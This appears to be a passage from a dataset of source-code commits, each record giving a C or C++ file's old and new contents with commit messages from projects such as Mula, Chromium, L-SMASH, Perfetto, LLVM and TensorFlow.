crosswalk,crosswalk-project\/crosswalk-efl,leonhsl\/crosswalk,crosswalk-project\/crosswalk,siovene\/crosswalk,hgl888\/crosswalk,weiyirong\/crosswalk-1,xzhan96\/crosswalk,xzhan96\/crosswalk,seanlong\/crosswalk,DonnaWuDongxia\/crosswalk,rakuco\/crosswalk,pk-sam\/crosswalk,bestwpw\/crosswalk,chuan9\/crosswalk,dreamsxin\/crosswalk,RafuCater\/crosswalk,heke123\/crosswalk,heke123\/crosswalk,tomatell\/crosswalk,hgl888\/crosswalk-efl,tedshroyer\/crosswalk,axinging\/crosswalk,axinging\/crosswalk,darktears\/crosswalk,crosswalk-project\/crosswalk-efl,qjia7\/crosswalk,tomatell\/crosswalk,shaochangbin\/crosswalk,lincsoon\/crosswalk,axinging\/crosswalk,RafuCater\/crosswalk,hgl888\/crosswalk,RafuCater\/crosswalk,alex-zhang\/crosswalk,Pluto-tv\/crosswalk,lincsoon\/crosswalk,chinakids\/crosswalk,chuan9\/crosswalk,lincsoon\/crosswalk,hgl888\/crosswalk,Bysmyyr\/crosswalk,siovene\/crosswalk,pk-sam\/crosswalk,heke123\/crosswalk,Pluto-tv\/crosswalk,TheDirtyCalvinist\/spacewalk,Bysmyyr\/crosswalk,PeterWangIntel\/crosswalk,chinakids\/crosswalk,tedshroyer\/crosswalk,rakuco\/crosswalk,heke123\/crosswalk,hgl888\/crosswalk,alex-zhang\/crosswalk,Bysmyyr\/crosswalk,jondong\/crosswalk,ZhengXinCN\/crosswalk,marcuspridham\/crosswalk,bestwpw\/crosswalk,huningxin\/crosswalk,baleboy\/crosswalk,crosswalk-project\/crosswalk,leonhsl\/crosswalk,jondwillis\/crosswalk,fujunwei\/crosswalk,huningxin\/crosswalk,tedshroyer\/crosswalk,XiaosongWei\/crosswalk,amaniak\/crosswalk,Bysmyyr\/crosswalk,weiyirong\/crosswalk-1,siovene\/crosswalk,qjia7\/crosswalk,chinakids\/crosswalk,minggangw\/crosswalk,baleboy\/crosswalk,dreamsxin\/crosswalk,baleboy\/crosswalk,rakuco\/crosswalk,mrunalk\/crosswalk,DonnaWuDongxia\/crosswalk,pk-sam\/crosswalk,chuan9\/crosswalk"}
{"commit":"aa5d17c0a52530b387ff6819b2cc5d2afd4eb38c","old_file":"plugins\/stardict\/file.h","new_file":"plugins\/stardict\/file.h","old_contents":"\/******************************************************************************\n * This file is part of the Mula project\n * Copyright (c) 2011 Laszlo Papp <lpapp@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef MULA_PLUGIN_STARDICT_FILE\n#define MULA_PLUGIN_STARDICT_FILE\n\n#include <QtCore\/QString>\n\nconst int invalidIndex = -100;\n\nstatic inline int stardictStringCompare(QString string1, QString string2)\n{\n    int retval = string1.compare(string2, Qt::CaseInsensitive);\n\n    if (retval == 0)\n        return string1.compare(string2);\n    else\n        return retval;\n}\n\n#endif \/\/ MULA_PLUGIN_STARDICT_FILE\n","new_contents":"\/******************************************************************************\n * This file is part of the Mula project\n * Copyright (c) 2011 Laszlo Papp <lpapp@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef MULA_PLUGIN_STARDICT_FILE\n#define MULA_PLUGIN_STARDICT_FILE\n\n#include <QtCore\/QString>\n\nconst int invalidIndex = -100;\n\nstatic inline int stardictStringCompare(QString string1, QString string2)\n{\n    int retval = string1.compare(string2, Qt::CaseInsensitive);\n    return retval ? retval : string1.compare(string2);\n}\n\n#endif \/\/ MULA_PLUGIN_STARDICT_FILE\n","subject":"Use the tenary operator instead of a simple if\/else inside an inline function","message":"Use the tenary operator instead of a simple if\/else inside an inline function\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/mula,KDE\/mula"}
{"commit":"64dbdcce076a64f7bcfd83ddf7e6f6440c004556","old_file":"types.h","new_file":"types.h","old_contents":"#ifndef BFC_TYPES_H\n#define BFC_TYPES_H\n\n#ifndef __cplusplus\n# include <stdint.h>\n#else\n# include <cstdint>\n#endif\n\ntypedef bfc_cell uint8_t;\n\n#endif \/* !BFC_TYPES_H *\/\n","new_contents":"#ifndef BFC_TYPES_H\n#define BFC_TYPES_H\n\n#ifndef __cplusplus\n# include <stdint.h>\n#else\n# include <cstdint>\n#endif\n\ntypedef bf_value uint8_t;\n\n#endif \/* !BFC_TYPES_H *\/\n","subject":"Change basic cell type name to bf_value.","message":"Change basic cell type name to bf_value.\n","lang":"C","license":"mit","repos":"bassettmb\/bfc,bassettmb\/bfc"}
{"commit":"51f9648c1af205b9822a1dfe220c825eef07a2cc","old_file":"test2\/inline\/static_local.c","new_file":"test2\/inline\/static_local.c","old_contents":"\/\/ RUN: %check %s\n\n\/\/ extern\nextern inline int f()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ static\nstatic inline int h()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ neither\ninline int g()\n{\n\tstatic int i; \/\/ CHECK: warning: static variable in pure-inline function - may differ per file\n\treturn i++;\n}\n\n\/\/ neither, but const\ninline int g2()\n{\n\tstatic const int i = 3; \/\/ CHECK: !\/warn\/\n\treturn i;\n}\n\nmain()\n{\n\treturn f() + g() + h();\n}\n","new_contents":"\/\/ RUN: %check %s\n\n\/\/ extern\nextern inline int f()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ static\nstatic inline int h()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ neither\ninline int g()\n{\n\tstatic int i; \/\/ CHECK: warning: mutable static variable in pure-inline function - may differ per file\n\treturn i++;\n}\n\n\/\/ neither, but const\ninline int g2()\n{\n\tstatic const int i = 3; \/\/ CHECK: !\/warn\/\n\treturn i;\n}\n\nmain()\n{\n\treturn f() + g() + h();\n}\n","subject":"Fix inline static local warning","message":"Fix inline static local warning\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"39f66ecf2685e1d7a4d0bbe16d8db87e08e91ed9","old_file":"net\/proxy\/proxy_resolver_mac.h","new_file":"net\/proxy\/proxy_resolver_mac.h","old_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data_;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","subject":"Fix a typo, that could cause a crash on mac.","message":"Fix a typo, that could cause a crash on mac.\n\nBUG=50717\nTBR=rvargas\nTEST=Set system proxy settings to use a custom PAC script, then launch TestShell.app -- should not crash.\nReview URL: http:\/\/codereview.chromium.org\/3023030\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@54279 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ropik\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium"}
{"commit":"f2570192b6ea925e0db5957719525ebd144e0037","old_file":"common\/osdep.h","new_file":"common\/osdep.h","old_contents":"\/*****************************************************************************\n * osdep.h:\n *****************************************************************************\n * Copyright (C) 2010 L-SMASH project\n *\n * Authors: Yusuke Nakamura <muken.the.vfrmaniac@gmail.com>\n *          Takashi Hirata <silverfilain@gmail.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *****************************************************************************\/\n\n\/* This file is available under an ISC license. *\/\n\n#ifndef OSDEP_H\n#define OSDEP_H\n\n#define _FILE_OFFSET_BITS 64\n\n#ifdef __MINGW32__\n#define lsmash_fseek fseeko64\n#define lsmash_ftell ftello64\n#else\n#define lsmash_fseek fseek\n#define lsmash_ftell ftell\n#endif\n\n#endif\n","new_contents":"\/*****************************************************************************\n * osdep.h:\n *****************************************************************************\n * Copyright (C) 2010 L-SMASH project\n *\n * Authors: Yusuke Nakamura <muken.the.vfrmaniac@gmail.com>\n *          Takashi Hirata <silverfilain@gmail.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *****************************************************************************\/\n\n\/* This file is available under an ISC license. *\/\n\n#ifndef OSDEP_H\n#define OSDEP_H\n\n#define _FILE_OFFSET_BITS 64\n\n#ifdef __MINGW32__\n#define lsmash_fseek fseeko64\n#define lsmash_ftell ftello64\n#endif\n\n#endif\n","subject":"Remove redundant declaration of lsmash_fseek.","message":"Remove redundant declaration of lsmash_fseek.\n","lang":"C","license":"isc","repos":"mstorsjo\/l-smash,silverfilain\/L-SMASH,l-smash\/l-smash,silverfilain\/L-SMASH,canbal\/l-smash,dwbuiten\/l-smash,dwbuiten\/l-smash,maki-rxrz\/L-SMASH,mstorsjo\/l-smash,silverfilain\/L-SMASH,l-smash\/l-smash,maki-rxrz\/L-SMASH,l-smash\/l-smash,canbal\/l-smash"}
{"commit":"ece0b186333657c94cd50148fbf10802a052d214","old_file":"debugger\/tui.h","new_file":"debugger\/tui.h","old_contents":"#ifndef DEBUGGER_TUI_H\n#define DEBUGGER_TUI_H\n\n#include \"asic.h\"\n\nchar **tui_parse_commandline(const char *, int *);\nvoid tui_tick(asic_t *asic);\n\n#endif\n","new_contents":"#ifndef DEBUGGER_TUI_H\n#define DEBUGGER_TUI_H\n\n#include \"asic.h\"\n\nchar **tui_parse_commandline(const char *, int *);\n\n#ifndef EMSCRIPTEN\nvoid tui_tick(asic_t *asic);\n#endif\n\n#endif\n","subject":"Add ifs around TUI function not available in emscripten","message":"Add ifs around TUI function not available in emscripten\n","lang":"C","license":"mit","repos":"KnightOS\/z80e,KnightOS\/z80e"}
{"commit":"b0149a850e2209301304e67dd4fab34245fe0d70","old_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","new_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","old_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","new_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() const { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","subject":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765 am: 1b5ab79b0b am: 69614c4761 am: e447d8a1c2","message":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765 am: 1b5ab79b0b am: 69614c4761 am: e447d8a1c2\n\nChange-Id: Ib4ab16a01bcda43994c6d26f34d16e3579272cf6\n","lang":"C","license":"apache-2.0","repos":"google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto"}
{"commit":"13b6f22f0473917e11ed650282b9b118edb12b90","old_file":"include\/llvm\/Analysis\/BasicAliasAnalysis.h","new_file":"include\/llvm\/Analysis\/BasicAliasAnalysis.h","old_contents":"\/\/===- llvm\/Analysis\/BasicAliasAnalysis.h - Alias Analysis Impl -*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the default implementation of the Alias Analysis interface\n\/\/ that simply implements a few identities (two different globals cannot alias,\n\/\/ etc), but otherwise does no analysis.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n#define LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Pass.h\"\n\nstruct BasicAliasAnalysis : public ImmutablePass, public AliasAnalysis {\n\n  \/\/ alias - This is the only method here that does anything interesting...\n  \/\/\n  Result alias(const Value *V1, const Value *V2);\n    \n  \/\/\/ canCallModify - We are not interprocedural, so we do nothing exciting.\n  \/\/\/\n  Result canCallModify(const CallInst &CI, const Value *Ptr) {\n    return MayAlias;\n  }\n    \n  \/\/\/ canInvokeModify - We are not interprocedural, so we do nothing exciting.\n  \/\/\/\n  Result canInvokeModify(const InvokeInst &I, const Value *Ptr) {\n    return MayAlias;  \/\/ We are not interprocedural\n  }\n};\n\n#endif\n","new_contents":"\/\/===- llvm\/Analysis\/BasicAliasAnalysis.h - Alias Analysis Impl -*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the default implementation of the Alias Analysis interface\n\/\/ that simply implements a few identities (two different globals cannot alias,\n\/\/ etc), but otherwise does no analysis.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n#define LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Pass.h\"\n\nclass GetElementPtrInst;\n\nstruct BasicAliasAnalysis : public ImmutablePass, public AliasAnalysis {\n\n  virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n    AliasAnalysis::getAnalysisUsage(AU);\n  }\n\n  virtual void initializePass();\n\n  \/\/ alias - This is the only method here that does anything interesting...\n  \/\/\n  AliasResult alias(const Value *V1, unsigned V1Size,\n                    const Value *V2, unsigned V2Size);\nprivate:\n  \/\/ CheckGEPInstructions - Check two GEP instructions of compatible types and\n  \/\/ equal number of arguments.  This checks to see if the index expressions\n  \/\/ preclude the pointers from aliasing...\n  AliasResult CheckGEPInstructions(GetElementPtrInst *GEP1, unsigned G1Size,\n                                   GetElementPtrInst *GEP2, unsigned G2Size);\n};\n\n#endif\n","subject":"Tweak to work with new AA implementation","message":"Tweak to work with new AA implementation\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@5632 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm"}
{"commit":"ad2faeac06c7be527108d83cd8771b6c0f296257","old_file":"tensorflow\/cc\/saved_model\/tag_constants.h","new_file":"tensorflow\/cc\/saved_model\/tag_constants.h","old_contents":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef THIRD_PARTY_TENSORFLOW_CC_SAVED_MODEL_TAG_CONSTANTS_H_\n#define THIRD_PARTY_TENSORFLOW_CC_SAVED_MODEL_TAG_CONSTANTS_H_\n\nnamespace tensorflow {\n\n\/\/\/ Tag for the `serving` graph.\nconstexpr char kSavedModelTagServe[] = \"serve\";\n\n\/\/\/ Tag for the `training` graph.`\nconstexpr char kSavedModelTagTrain[] = \"train\";\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ THIRD_PARTY_TENSORFLOW_CC_SAVED_MODEL_TAG_CONSTANTS_H_\n","new_contents":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef THIRD_PARTY_TENSORFLOW_CC_SAVED_MODEL_TAG_CONSTANTS_H_\n#define THIRD_PARTY_TENSORFLOW_CC_SAVED_MODEL_TAG_CONSTANTS_H_\n\nnamespace tensorflow {\n\n\/\/\/ Tag for the `gpu` graph.\nconstexpr char kSavedModelTagGpu[] = \"gpu\";\n\n\/\/\/ Tag for the `serving` graph.\nconstexpr char kSavedModelTagServe[] = \"serve\";\n\n\/\/\/ Tag for the `training` graph.\nconstexpr char kSavedModelTagTrain[] = \"train\";\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ THIRD_PARTY_TENSORFLOW_CC_SAVED_MODEL_TAG_CONSTANTS_H_\n","subject":"Add SavedModel tag-constant for gpu.","message":"Add SavedModel tag-constant for gpu.\n\nPiperOrigin-RevId: 159600621\n","lang":"C","license":"apache-2.0","repos":"xodus7\/tensorflow,hfp\/tensorflow-xsmm,jendap\/tensorflow,jhseu\/tensorflow,karllessard\/tensorflow,unsiloai\/syntaxnet-ops-hack,lukeiwanski\/tensorflow,rabipanda\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,zycdragonball\/tensorflow,gunan\/tensorflow,lukeiwanski\/tensorflow,zycdragonball\/tensorflow,meteorcloudy\/tensorflow,gautam1858\/tensorflow,manipopopo\/tensorflow,Intel-Corporation\/tensorflow,bowang\/tensorflow,cxxgtxy\/tensorflow,manazhao\/tf_recsys,mixturemodel-flow\/tensorflow,dongjoon-hyun\/tensorflow,ychfan\/tensorflow,manipopopo\/tensorflow,frreiss\/tensorflow-fred,suiyuan2009\/tensorflow,arborh\/tensorflow,mdrumond\/tensorflow,dendisuhubdy\/tensorflow,girving\/tensorflow,ghchinoy\/tensorflow,Mistobaan\/tensorflow,aselle\/tensorflow,rabipanda\/tensorflow,benoitsteiner\/tensorflow-opencl,mixturemodel-flow\/tensorflow,manipopopo\/tensorflow,eaplatanios\/tensorflow,horance-liu\/tensorflow,zasdfgbnm\/tensorflow,allenlavoie\/tensorflow,gunan\/tensorflow,tornadozou\/tensorflow,Bulochkin\/tensorflow_pack,andrewcmyers\/tensorflow,aselle\/tensorflow,ppwwyyxx\/tensorflow,jostep\/tensorflow,tiagofrepereira2012\/tensorflow,petewarden\/tensorflow,jbedorf\/tensorflow,ZhangXinNan\/tensorflow,lukeiwanski\/tensorflow,nolanliou\/tensorflow,guschmue\/tensorflow,aam-at\/tensorflow,jhseu\/tensorflow,AnishShah\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aam-at\/tensorflow,cxxgtxy\/tensorflow,jostep\/tensorflow,petewarden\/tensorflow,maciekcc\/tensorflow,gautam1858\/tensorflow,guschmue\/tensorflow,JingJunYin\/tensorflow,kobejean\/tensorflow,Mazecreator\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,hehongliang\/tensorflow,renyi533\/tensorflow,eaplatanios\/tensorflow,girving\/tensorflow,tiagofrepereira2012\/tensorflow,adamtiger\/tensorflow,adamtiger\/tensorflow,chemelnucfin\/tensorflow,eaplatanios\/tensorflow,hsaputra\/tensorflow,eadgarchen\/tensorflow,ravindrapanda\/tensorflow,ageron\/tensorflow,maciekcc\/tensorflow,andrewcmyers\/tensorflow,petewarden\/tensorflow,theflofly\/tensorflow,mavenlin\/tensorflow,jbedorf\/tensorflow,adit-chandra\/tensorflow,aselle\/tensorflow,xzturn\/tensorflow,aldian\/tensorflow,gunan\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,benoitsteiner\/tensorflow-xsmm,paolodedios\/tensorflow,adit-chandra\/tensorflow,chemelnucfin\/tensorflow,alistairlow\/tensorflow,unsiloai\/syntaxnet-ops-hack,raymondxyang\/tensorflow,a-doumoulakis\/tensorflow,aam-at\/tensorflow,Bulochkin\/tensorflow_pack,brchiu\/tensorflow,davidzchen\/tensorflow,dendisuhubdy\/tensorflow,adit-chandra\/tensorflow,AnishShah\/tensorflow,alshedivat\/tensorflow,codrut3\/tensorflow,andrewcmyers\/tensorflow,arborh\/tensorflow,caisq\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,zasdfgbnm\/tensorflow,snnn\/tensorflow,xodus7\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,benoitsteiner\/tensorflow-opencl,seanli9jan\/tensorflow,ychfan\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,Mazecreator\/tensorflow,eadgarchen\/tensorflow,jalexvig\/tensorflow,benoitsteiner\/tensorflow-xsmm,yanchen036\/tensorflow,adamtiger\/tensorflow,gautam1858\/tensorflow,gojira\/tensorflow,nburn42\/tensorflow,nolanliou\/tensorflow,ZhangXinNan\/tensorflow,manipopopo\/tensorflow,freedomtan\/tensorflow,yanchen036\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,bowang\/tensorflow,freedomtan\/tensorflow,karllessard\/tensorflow,tornadozou\/tensorflow,ishay2b\/tensor